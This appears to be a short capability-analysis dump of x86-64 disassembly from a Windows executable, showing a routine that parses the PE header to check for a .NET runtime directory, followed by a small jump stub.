Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a8e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a8e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a8e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a8e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a8e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a90
xor al, al
add rsp, 0x28
ret
Function at 0x14006e1c0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14006dfec